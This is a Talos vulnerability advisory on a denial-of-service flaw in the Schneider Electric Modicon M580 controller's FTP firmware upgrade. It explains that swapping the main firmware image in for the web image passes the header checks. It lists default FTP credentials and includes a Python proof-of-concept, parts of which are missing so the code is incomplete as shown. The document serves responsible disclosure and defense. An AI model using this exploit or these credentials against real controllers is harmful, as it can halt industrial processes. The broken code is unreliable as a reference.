Talos Vulnerability Report


Schneider Electric Modicon M580 Mismatched Firmware Image FTP Upgrade Denial of Service Vulnerability

October 8, 2019
CVE Number



An exploitable denial of service vulnerability exists in the FTP firmware update functionality of the Schneider Electric Modicon M580 Programmable Automation Controller firmware version SV2.80. A specially crafted firmware image can cause the device to enter a recoverable fault state, resulting in a stoppage of normal device execution. An attacker can use default credentials to send commands that trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.80

Product URLs


CVSSv3 Score

4.9 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H


CWE-248: Uncaught Exception


The Modicon M580 is the latest in Schneider Electric's Modicon line of Programmable Automation Controllers. The device boasts a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus, and a management protocol referred to as UMAS.

When conducting a firmware upgrade of the Modicon M580, there are a few options to choose from, including FTP. During this process the custom FTP command UGRD can be used to initiate the upgrade on a specified flash channel and index as long as the directory and file structure is configured correctly. When this command is sent and the environment is set up correctly, the upgrade loader service switches from an 'OK' state to a 'not ready' state and begins upgrading the firmware. During a legitimate firmware upgrade this command is run twice: once for the main firmware and once for the web firmware.

During this process, a check is performed to ensure that both firmware images have the correct signature and are properly formatted. This check only verifies that the header of the image conforms to its specifications. Once this check is passed, there is no additional verification that the image being passed is the correct image. By replacing the web firmware image with the main firmware image it is possible to pass the header and signature checks. When an upgrade is attempted using this technique, the device will successfully upgrade the main firmware, attempt to upgrade the web firmware, and end up entering a recoverable fault state upon final verification. During this time communication with the device is still possible with the device's programming tools, however the normal device execution is stopped.

Exploit Proof of Concept

from ftplib import FTP, error_perm
import os
from time import sleep
import socket

# helper function to handle errors and add a sleep to the request
def deleteFile(ftp, filepath):
    except error_perm:
        # just passing b/c this means the file was already not there

# helper function to handle errors and add a sleep to the request
def deleteDirectory(ftp, dirpath):
        cmd = "XRMD {}".format(dirpath)
    except error_perm:
        # just passing b/c this means the file was already not there

# helper function to specify a custom mkdir command and add a sleep to the request
def createDirectory(ftp, dirpath):
    cmd = "XMKD {}".format(dirpath)

def main():
    # Parameters
    rhost = ""
    ftpuser = "loader"
    ftppass = "fwdownload"
    files = ["fw.ini", "M580SMP.img", "M580SMP_SIG.img", "webpage.img", "webpage_sig.img"]

    # local working dir setup

    # login
    ftp = FTP(host=rhost, user=ftpuser, passwd=ftppass, timeout=10)

    # couple required commands
    ftp.sendcmd("TYPE I")
    ftp.sendcmd("DINF 254.254")

    # delete any stragglers to prevent against state issues
    for curfile in files:
        curfilepath = "/SDCA/Firmware/Device/{}".format(curfile)
        deleteFile(ftp, curfilepath)

    deleteDirectory(ftp, "/SDCA/Firmware/SysLog")
    deleteDirectory(ftp, "/SDCA/Firmware/Device")
    deleteDirectory(ftp, "/SDCA/Firmware")

    # set up dir structure
    createDirectory(ftp, "/SDCA/Firmware")
    createDirectory(ftp, "/SDCA/Firmware/Device")
    createDirectory(ftp, "/SDCA/Firmware/SysLog")

    # transfer files
    for curfile in files:
        with open(curfile, 'rb') as f:
            cmd = "STOR {}".format(curfile)
            ftp.storbinary(cmd, f)

    # make sure the device is stopped

    # get the device state
    ftp.sendcmd("LDST 255.255")

    # send the update command

    # watch the update status until the transfer is finished
    success = False
    while True:
        resp = ftp.sendcmd("LDST") 

        if "LastError" in resp:
            success = True;

        if "Transferred =" in resp and "Loader = COMPLETED" in resp:
            ftp.sendcmd("LDST 255.255")

    if (success):

if __name__ == '__main__':


2019-05-08 - Vendor Disclosure
2019-09-10 - Disclosure timeline extended
2019-10-08 - Public Release


Discovered by Jared Rittle of Cisco Talos.